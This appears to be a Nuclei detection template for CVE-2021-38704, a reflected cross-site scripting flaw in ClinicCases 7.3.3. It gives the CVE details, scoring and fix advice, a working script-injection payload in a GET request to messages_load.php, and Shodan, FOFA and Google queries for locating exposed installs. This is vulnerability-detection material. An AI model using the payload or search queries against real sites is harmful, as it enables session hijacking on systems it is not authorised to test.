ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.
PoC代码[已公开]
id: CVE-2021-38704
info:
name: ClinicCases 7.3.3 Cross-Site Scripting
author: alph4byt3
severity: medium
description: ClinicCases 7.3.3 is susceptible to multiple reflected cross-site scripting vulnerabilities that could allow unauthenticated attackers to introduce arbitrary JavaScript by crafting a malicious URL. This can result in account takeover via session token theft.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected website.
remediation: |
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://github.com/sudonoodle/CVE-2021-38704
- https://nvd.nist.gov/vuln/detail/CVE-2021-38704
- https://github.com/judsonmitchell/ClinicCases/releases
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-38704
cwe-id: CWE-79
epss-score: 0.09961
epss-percentile: 0.92761
cpe: cpe:2.3:a:cliniccases:cliniccases:7.3.3:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: cliniccases
product: cliniccases
shodan-query:
- http.title:"ClinicCases",html:"/cliniccases/"
- http.title:"cliniccases",html:"/cliniccases/"
fofa-query: title="cliniccases",html:"/cliniccases/"
google-query: intitle:"cliniccases",html:"/cliniccases/"
tags: cve,cve2021,xss,cliniccases
http:
- method: GET
path:
- '{{BaseURL}}/cliniccases/lib/php/data/messages_load.php?type=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
matchers-condition: and
matchers:
- type: word
part: body
words:
- "</script><script>alert(document.domain)</script>"
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
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